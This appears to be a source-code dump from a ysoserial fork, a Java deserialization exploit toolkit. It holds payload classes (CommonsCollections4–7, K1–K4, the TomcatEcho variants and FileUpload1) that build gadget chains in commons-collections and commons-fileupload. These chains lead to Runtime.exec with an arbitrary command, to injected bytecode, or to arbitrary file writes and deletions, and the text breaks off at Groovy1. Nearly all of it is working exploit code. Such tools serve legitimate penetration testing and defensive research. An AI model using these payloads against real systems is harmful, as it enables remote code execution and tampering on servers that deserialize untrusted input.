-------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.util.PriorityQueue; 4 | import java.util.Queue; 5 | 6 | import javax.xml.transform.Templates; 7 | 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.ChainedTransformer; 11 | import org.apache.commons.collections4.functors.ConstantTransformer; 12 | import org.apache.commons.collections4.functors.InstantiateTransformer; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.util.Gadgets; 17 | import ysoserial.payloads.util.PayloadRunner; 18 | import ysoserial.payloads.util.Reflections; 19 | 20 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 21 | 22 | /* 23 | * Variation on CommonsCollections2 that uses InstantiateTransformer instead of 24 | * InvokerTransformer. 25 | */ 26 | @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) 27 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 28 | @Authors({ Authors.FROHOFF }) 29 | public class CommonsCollections4 implements ObjectPayload> { 30 | 31 | public Queue getObject(final String command) throws Exception { 32 | Object templates = Gadgets.createTemplatesImpl(command); 33 | 34 | ConstantTransformer constant = new ConstantTransformer(String.class); 35 | 36 | // mock method name until armed 37 | Class[] paramTypes = new Class[] { String.class }; 38 | Object[] args = new Object[] { "foo" }; 39 | InstantiateTransformer instantiate = new InstantiateTransformer( 40 | paramTypes, args); 41 | 42 | // grab defensively copied arrays 43 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 44 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 45 | 46 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 47 | 48 | // create queue with numbers 49 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 50 | queue.add(1); 51 | queue.add(1); 52 | 53 | // swap in values to arm 54 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 55 | paramTypes[0] = Templates.class; 56 | args[0] = templates; 57 | 58 | return queue; 59 | } 60 | 61 | public static void main(final String[] args) throws Exception { 62 | PayloadRunner.run(CommonsCollections4.class, args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections5.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.InvocationHandler; 5 | import java.util.HashMap; 6 | import java.util.Map; 7 | 8 | import javax.management.BadAttributeValueExpException; 9 | 10 | import org.apache.commons.collections.Transformer; 11 | import org.apache.commons.collections.functors.ChainedTransformer; 12 | import org.apache.commons.collections.functors.ConstantTransformer; 13 | import org.apache.commons.collections.functors.InvokerTransformer; 14 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 15 | import org.apache.commons.collections.map.LazyMap; 16 | 17 | import ysoserial.payloads.annotation.Authors; 18 | import ysoserial.payloads.annotation.Dependencies; 19 | import ysoserial.payloads.annotation.PayloadTest; 20 | import ysoserial.payloads.util.Gadgets; 21 | import ysoserial.payloads.util.JavaVersion; 22 | import ysoserial.payloads.util.PayloadRunner; 23 | import ysoserial.payloads.util.Reflections; 24 | 25 | /* 26 | Gadget chain: 27 | ObjectInputStream.readObject() 28 | BadAttributeValueExpException.readObject() 29 | TiedMapEntry.toString() 30 | LazyMap.get() 31 | ChainedTransformer.transform() 32 | ConstantTransformer.transform() 33 | InvokerTransformer.transform() 34 | Method.invoke() 35 | Class.getMethod() 36 | InvokerTransformer.transform() 37 | Method.invoke() 38 | Runtime.getRuntime() 39 | InvokerTransformer.transform() 40 | Method.invoke() 41 | Runtime.exec() 42 | 43 | Requires: 44 | commons-collections 45 | */ 46 | /* 47 | This only works in JDK 8u76 and WITHOUT a security manager 48 | 49 | https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 50 | */ 51 | @SuppressWarnings({"rawtypes", "unchecked"}) 52 | @PayloadTest ( precondition = "isApplicableJavaVersion") 53 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 54 | @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) 55 | public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { 56 | 57 | public BadAttributeValueExpException getObject(final String command) throws Exception { 58 | final String[] execArgs = new String[] { command }; 59 | // inert chain for setup 60 | final Transformer transformerChain = new ChainedTransformer( 61 | new Transformer[]{ new ConstantTransformer(1) }); 62 | // real chain for after setup 63 | final Transformer[] transformers = new Transformer[] { 64 | new ConstantTransformer(Runtime.class), 65 | new InvokerTransformer("getMethod", new Class[] { 66 | String.class, Class[].class }, new Object[] { 67 | "getRuntime", new Class[0] }), 68 | new InvokerTransformer("invoke", new Class[] { 69 | Object.class, Object[].class }, new Object[] { 70 | null, new Object[0] }), 71 | new InvokerTransformer("exec", 72 | new Class[] { String.class }, execArgs), 73 | new ConstantTransformer(1) }; 74 | 75 | final Map innerMap = new HashMap(); 76 | 77 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 78 | 79 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 80 | 81 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 82 | Field valfield = val.getClass().getDeclaredField("val"); 83 | Reflections.setAccessible(valfield); 84 | valfield.set(val, entry); 85 | 86 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 87 | 88 | return val; 89 | } 90 | 91 | public static void main(final String[] args) throws Exception { 92 | PayloadRunner.run(CommonsCollections5.class, args); 93 | } 94 | 95 | public static boolean isApplicableJavaVersion() { 96 | return JavaVersion.isBadAttrValExcReadObj(); 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections6.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.Field; 16 | import java.util.HashMap; 17 | import java.util.HashSet; 18 | import java.util.Map; 19 | 20 | /* 21 | Gadget chain: 22 | java.io.ObjectInputStream.readObject() 23 | java.util.HashSet.readObject() 24 | java.util.HashMap.put() 25 | java.util.HashMap.hash() 26 | org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 27 | org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() 28 | org.apache.commons.collections.map.LazyMap.get() 29 | org.apache.commons.collections.functors.ChainedTransformer.transform() 30 | org.apache.commons.collections.functors.InvokerTransformer.transform() 31 | java.lang.reflect.Method.invoke() 32 | java.lang.Runtime.exec() 33 | 34 | by @matthias_kaiser 35 | */ 36 | @SuppressWarnings({"rawtypes", "unchecked"}) 37 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 38 | @Authors({ Authors.MATTHIASKAISER }) 39 | public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { 40 | 41 | public Serializable getObject(final String command) throws Exception { 42 | 43 | final String[] execArgs = new String[] { command }; 44 | 45 | final Transformer[] transformers = new Transformer[] { 46 | new ConstantTransformer(Runtime.class), 47 | new InvokerTransformer("getMethod", new Class[] { 48 | String.class, Class[].class }, new Object[] { 49 | "getRuntime", new Class[0] }), 50 | new InvokerTransformer("invoke", new Class[] { 51 | Object.class, Object[].class }, new Object[] { 52 | null, new Object[0] }), 53 | new InvokerTransformer("exec", 54 | new Class[] { String.class }, execArgs), 55 | new ConstantTransformer(1) }; 56 | 57 | Transformer transformerChain = new ChainedTransformer(transformers); 58 | 59 | final Map innerMap = new HashMap(); 60 | 61 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 62 | 63 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 64 | 65 | HashSet map = new HashSet(1); 66 | map.add("foo"); 67 | Field f = null; 68 | try { 69 | f = HashSet.class.getDeclaredField("map"); 70 | } catch (NoSuchFieldException e) { 71 | f = HashSet.class.getDeclaredField("backingMap"); 72 | } 73 | 74 | Reflections.setAccessible(f); 75 | HashMap innimpl = (HashMap) f.get(map); 76 | 77 | Field f2 = null; 78 | try { 79 | f2 = HashMap.class.getDeclaredField("table"); 80 | } catch (NoSuchFieldException e) { 81 | f2 = HashMap.class.getDeclaredField("elementData"); 82 | } 83 | 84 | Reflections.setAccessible(f2); 85 | Object[] array = (Object[]) f2.get(innimpl); 86 | 87 | Object node = array[0]; 88 | if(node == null){ 89 | node = array[1]; 90 | } 91 | 92 | Field keyField = null; 93 | try{ 94 | keyField = node.getClass().getDeclaredField("key"); 95 | }catch(Exception e){ 96 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 97 | } 98 | 99 | Reflections.setAccessible(keyField); 100 | keyField.set(node, entry); 101 | 102 | return map; 103 | 104 | } 105 | 106 | public static void main(final String[] args) throws Exception { 107 | PayloadRunner.run(CommonsCollections6.class, args); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollections7.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.map.LazyMap; 8 | 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.Hashtable; 16 | import java.util.Map; 17 | 18 | /* 19 | Payload method chain: 20 | 21 | java.util.Hashtable.readObject 22 | java.util.Hashtable.reconstitutionPut 23 | org.apache.commons.collections.map.AbstractMapDecorator.equals 24 | java.util.AbstractMap.equals 25 | org.apache.commons.collections.map.LazyMap.get 26 | org.apache.commons.collections.functors.ChainedTransformer.transform 27 | org.apache.commons.collections.functors.InvokerTransformer.transform 28 | java.lang.reflect.Method.invoke 29 | sun.reflect.DelegatingMethodAccessorImpl.invoke 30 | sun.reflect.NativeMethodAccessorImpl.invoke 31 | sun.reflect.NativeMethodAccessorImpl.invoke0 32 | java.lang.Runtime.exec 33 | */ 34 | 35 | @SuppressWarnings({"rawtypes", "unchecked"}) 36 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 37 | @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) 38 | 39 | public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { 40 | 41 | public Hashtable getObject(final String command) throws Exception { 42 | 43 | // Reusing transformer chain and LazyMap gadgets from previous payloads 44 | final String[] execArgs = new String[]{command}; 45 | 46 | final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | final Transformer[] transformers = new Transformer[]{ 49 | new ConstantTransformer(Runtime.class), 50 | new InvokerTransformer("getMethod", 51 | new Class[]{String.class, Class[].class}, 52 | new Object[]{"getRuntime", new Class[0]}), 53 | new InvokerTransformer("invoke", 54 | new Class[]{Object.class, Object[].class}, 55 | new Object[]{null, new Object[0]}), 56 | new InvokerTransformer("exec", 57 | new Class[]{String.class}, 58 | execArgs), 59 | new ConstantTransformer(1)}; 60 | 61 | Map innerMap1 = new HashMap(); 62 | Map innerMap2 = new HashMap(); 63 | 64 | // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject 65 | Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); 66 | lazyMap1.put("yy", 1); 67 | 68 | Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); 69 | lazyMap2.put("zZ", 1); 70 | 71 | // Use the colliding Maps as keys in Hashtable 72 | Hashtable hashtable = new Hashtable(); 73 | hashtable.put(lazyMap1, 1); 74 | hashtable.put(lazyMap2, 2); 75 | 76 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 77 | 78 | // Needed to ensure hash collision after previous manipulations 79 | lazyMap2.remove("yy"); 80 | 81 | return hashtable; 82 | } 83 | 84 | public static void main(final String[] args) throws Exception { 85 | PayloadRunner.run(CommonsCollections7.class, args); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | HashMap 18 | TiedMapEntry.hashCode 19 | TiedMapEntry.getValue 20 | LazyMap.decorate 21 | InvokerTransformer 22 | templates... 23 | */ 24 | @SuppressWarnings({"rawtypes", "unchecked"}) 25 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 26 | @Authors({Authors.KORLR}) 27 | public class CommonsCollectionsK1 extends PayloadRunner implements ObjectPayload { 28 | 29 | public Map getObject(final String command) throws Exception { 30 | Object tpl = Gadgets.createTemplatesImpl(command); 31 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 32 | 33 | HashMap innerMap = new HashMap(); 34 | Map m = LazyMap.decorate(innerMap, transformer); 35 | 36 | Map outerMap = new HashMap(); 37 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 38 | outerMap.put(tied, "t"); 39 | // clear the inner map data, this is important 40 | innerMap.clear(); 41 | 42 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 43 | return outerMap; 44 | } 45 | 46 | public static void main(final String[] args) throws Exception { 47 | PayloadRunner.run(CommonsCollectionsK1.class, args); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK1TomcatEcho.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | HashMap 18 | TiedMapEntry.hashCode 19 | TiedMapEntry.getValue 20 | LazyMap.decorate 21 | InvokerTransformer 22 | templates... 23 | */ 24 | @SuppressWarnings({"rawtypes", "unchecked"}) 25 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 26 | @Authors({Authors.KORLR}) 27 | public class CommonsCollectionsK1TomcatEcho extends PayloadRunner implements ObjectPayload { 28 | 29 | public Map getObject(final String command) throws Exception { 30 | Object tpl = Gadgets.createTemplatesTomcatEcho(); 31 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 32 | 33 | HashMap innerMap = new HashMap(); 34 | Map m = LazyMap.decorate(innerMap, transformer); 35 | 36 | Map outerMap = new HashMap(); 37 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 38 | outerMap.put(tied, "t"); 39 | // clear the inner map data, this is important 40 | innerMap.clear(); 41 | 42 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 43 | return outerMap; 44 | } 45 | 46 | public static void main(final String[] args) throws Exception { 47 | PayloadRunner.run(CommonsCollectionsK1TomcatEcho.class, args); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.functors.InvokerTransformer; 4 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections4.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | same as K1, but use commons-collections4.0 18 | */ 19 | @SuppressWarnings({"rawtypes", "unchecked"}) 20 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 21 | @Authors({Authors.KORLR}) 22 | public class CommonsCollectionsK2 extends PayloadRunner implements ObjectPayload { 23 | 24 | public Map getObject(final String command) throws Exception { 25 | Object tpl = Gadgets.createTemplatesImpl(command); 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | 28 | HashMap innerMap = new HashMap(); 29 | Map m = LazyMap.lazyMap(innerMap, transformer); 30 | 31 | Map outerMap = new HashMap(); 32 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 33 | outerMap.put(tied, "t"); 34 | // clear the inner map data, this is important 35 | innerMap.clear(); 36 | 37 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 38 | return outerMap; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsCollectionsK2.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK2TomcatEcho.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.functors.InvokerTransformer; 4 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 5 | import org.apache.commons.collections4.map.LazyMap; 6 | import ysoserial.payloads.annotation.Authors; 7 | import ysoserial.payloads.annotation.Dependencies; 8 | import ysoserial.payloads.util.Gadgets; 9 | import ysoserial.payloads.util.PayloadRunner; 10 | import ysoserial.payloads.util.Reflections; 11 | 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | /* 16 | Gadget chain: 17 | same as K1, but use commons-collections4.0 18 | */ 19 | @SuppressWarnings({"rawtypes", "unchecked"}) 20 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 21 | @Authors({Authors.KORLR}) 22 | public class CommonsCollectionsK2TomcatEcho extends PayloadRunner implements ObjectPayload { 23 | 24 | public Map getObject(final String command) throws Exception { 25 | Object tpl = Gadgets.createTemplatesTomcatEcho(); 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | 28 | HashMap innerMap = new HashMap(); 29 | Map m = LazyMap.lazyMap(innerMap, transformer); 30 | 31 | Map outerMap = new HashMap(); 32 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 33 | outerMap.put(tied, "t"); 34 | // clear the inner map data, this is important 35 | innerMap.clear(); 36 | 37 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 38 | return outerMap; 39 | } 40 | 41 | public static void main(final String[] args) throws Exception { 42 | PayloadRunner.run(CommonsCollectionsK2TomcatEcho.class, args); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK3.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.HashSet; 16 | import java.util.Map; 17 | 18 | /* 19 | Gadget chain: 20 | java.util.HashMap.readObject() 21 | java.util.HashMap.hash() 22 | TiedMapEntry.hashCode() 23 | TiedMapEntry.getValue() 24 | LazyMap.get() 25 | ChainedTransformer.transform() 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 29 | @Authors({Authors.KORLR}) 30 | public class CommonsCollectionsK3 extends PayloadRunner implements ObjectPayload { 31 | 32 | public Map getObject(final String command) throws Exception { 33 | final String[] execArgs = new String[]{command}; 34 | 35 | final Transformer[] transformers = new Transformer[]{ 36 | new ConstantTransformer(Runtime.class), 37 | new InvokerTransformer("getMethod", new Class[]{ 38 | String.class, Class[].class}, new Object[]{ 39 | "getRuntime", new Class[0]}), 40 | new InvokerTransformer("invoke", new Class[]{ 41 | Object.class, Object[].class}, new Object[]{ 42 | null, new Object[0]}), 43 | new InvokerTransformer("exec", 44 | new Class[]{String.class}, execArgs), 45 | new ConstantTransformer(new HashSet())}; 46 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | HashMap innerMap = new HashMap(); 49 | Map m = LazyMap.decorate(innerMap, inertChain); 50 | 51 | Map outerMap = new HashMap(); 52 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 53 | outerMap.put(tied, "t"); 54 | innerMap.clear(); 55 | 56 | Reflections.setFieldValue(inertChain, "iTransformers", transformers); 57 | return outerMap; 58 | } 59 | 60 | public static void main(final String[] args) throws Exception { 61 | PayloadRunner.run(CommonsCollectionsK3.class, args); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/CommonsCollectionsK4.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import org.apache.commons.collections4.Transformer; 4 | import org.apache.commons.collections4.functors.ChainedTransformer; 5 | import org.apache.commons.collections4.functors.ConstantTransformer; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections4.map.LazyMap; 9 | import ysoserial.payloads.annotation.Authors; 10 | import ysoserial.payloads.annotation.Dependencies; 11 | import ysoserial.payloads.util.PayloadRunner; 12 | import ysoserial.payloads.util.Reflections; 13 | 14 | import java.util.HashMap; 15 | import java.util.HashSet; 16 | import java.util.Map; 17 | 18 | /* 19 | Gadget chain: 20 | java.util.HashMap.readObject() 21 | java.util.HashMap.hash() 22 | TiedMapEntry.hashCode() 23 | TiedMapEntry.getValue() 24 | LazyMap.get() 25 | ChainedTransformer.transform() 26 | */ 27 | @SuppressWarnings({"rawtypes", "unchecked"}) 28 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 29 | @Authors({Authors.KORLR}) 30 | public class CommonsCollectionsK4 extends PayloadRunner implements ObjectPayload { 31 | 32 | public Map getObject(final String command) throws Exception { 33 | final String[] execArgs = new String[]{command}; 34 | 35 | final Transformer[] transformers = new Transformer[]{ 36 | new ConstantTransformer(Runtime.class), 37 | new InvokerTransformer("getMethod", new Class[]{ 38 | String.class, Class[].class}, new Object[]{ 39 | "getRuntime", new Class[0]}), 40 | new InvokerTransformer("invoke", new Class[]{ 41 | Object.class, Object[].class}, new Object[]{ 42 | null, new Object[0]}), 43 | new InvokerTransformer("exec", 44 | new Class[]{String.class}, execArgs), 45 | new ConstantTransformer(new HashSet())}; 46 | ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{}); 47 | 48 | HashMap innerMap = new HashMap(); 49 | Map m = LazyMap.lazyMap(innerMap, inertChain); 50 | 51 | Map outerMap = new HashMap(); 52 | TiedMapEntry tied = new TiedMapEntry(m, "v"); 53 | outerMap.put(tied, "t"); 54 | innerMap.clear(); 55 | 56 | Reflections.setFieldValue(inertChain, "iTransformers", transformers); 57 | return outerMap; 58 | } 59 | 60 | public static void main(final String[] args) throws Exception { 61 | PayloadRunner.run(CommonsCollectionsK4.class, args); 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/DynamicDependencies.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | /** 5 | * @author mbechler 6 | * 7 | */ 8 | public interface DynamicDependencies { 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/FileUpload1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | 4 | import java.io.File; 5 | import java.io.IOException; 6 | import java.io.OutputStream; 7 | import java.util.Arrays; 8 | 9 | import org.apache.commons.codec.binary.Base64; 10 | import org.apache.commons.fileupload.disk.DiskFileItem; 11 | import org.apache.commons.io.output.DeferredFileOutputStream; 12 | import org.apache.commons.io.output.ThresholdingOutputStream; 13 | 14 | import ysoserial.payloads.annotation.Authors; 15 | import ysoserial.payloads.annotation.Dependencies; 16 | import ysoserial.payloads.annotation.PayloadTest; 17 | import ysoserial.payloads.util.JavaVersion; 18 | import ysoserial.payloads.util.PayloadRunner; 19 | import ysoserial.payloads.util.Reflections; 20 | 21 | 22 | /** 23 | * Gadget chain: 24 | * DiskFileItem.readObject() 25 | * 26 | * Arguments: 27 | * - copyAndDelete;sourceFile;destDir 28 | * - write;destDir;ascii-data 29 | * - writeB64;destDir;base64-data 30 | * - writeOld;destFile;ascii-data 31 | * - writeOldB64;destFile;base64-data 32 | * 33 | * Yields: 34 | * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) 35 | * - pre 1.3.1 (+ old JRE): write data to an arbitrary file 36 | * - 1.3.1+: write data to a more or less random file in an arbitrary directory 37 | * 38 | * @author mbechler 39 | */ 40 | @Dependencies ( { 41 | "commons-fileupload:commons-fileupload:1.3.1", 42 | "commons-io:commons-io:2.4" 43 | } ) 44 | @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") 45 | @Authors({ Authors.MBECHLER }) 46 | public class FileUpload1 implements ReleaseableObjectPayload { 47 | public static boolean isApplicableJavaVersion() { 48 | return JavaVersion.isAtLeast(7); 49 | } 50 | 51 | public DiskFileItem getObject ( String command ) throws Exception { 52 | 53 | String[] parts = command.split(";"); 54 | 55 | if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { 56 | return copyAndDelete(parts[ 1 ], parts[ 2 ]); 57 | } 58 | else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { 59 | return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); 60 | } 61 | else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { 62 | return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); 63 | } 64 | else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { 65 | return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); 66 | } 67 | else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { 68 | return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); 69 | } 70 | else { 71 | throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); 72 | } 73 | } 74 | 75 | 76 | public void release ( DiskFileItem obj ) throws Exception { 77 | // otherwise the finalizer deletes the file 78 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); 79 | Reflections.setFieldValue(obj, "dfos", dfos); 80 | } 81 | 82 | private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { 83 | return makePayload(0, copyTo, copyAndDelete, new byte[1]); 84 | } 85 | 86 | 87 | // writes data to a random filename (update__.tmp) 88 | private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { 89 | return makePayload(data.length + 1, dir, dir + "/whatever", data); 90 | } 91 | 92 | 93 | // writes data to an arbitrary file 94 | private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { 95 | return makePayload(data.length + 1, file + "\0", file, data); 96 | } 97 | 98 | 99 | private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { 100 | // if thresh < written length, delete outputFile after copying to repository temp file 101 | // otherwise write the contents to repository temp file 102 | File repository = new File(repoPath); 103 | DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); 104 | File outputFile = new File(filePath); 105 | DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); 106 | OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); 107 | os.write(data); 108 | Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); 109 | Reflections.setFieldValue(diskFileItem, "dfos", dfos); 110 | Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); 111 | return diskFileItem; 112 | } 113 | 114 | 115 | public static void main ( final String[] args ) throws Exception { 116 | PayloadRunner.run(FileUpload1.class, args); 117 | } 118 | 119 | } 120 | -------------------------------------------------------------------------------- /src/main/java/ysoserial/payloads/Groovy1.java: -------------------------------------------------------------------------------- 1 | package ysoserial.payloads; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.Map; 5 | 6 | import org.codehaus.groovy.runtime.ConvertedClosure; 7 | import org.codehaus.groovy.runtime.MethodClosure; 8 | 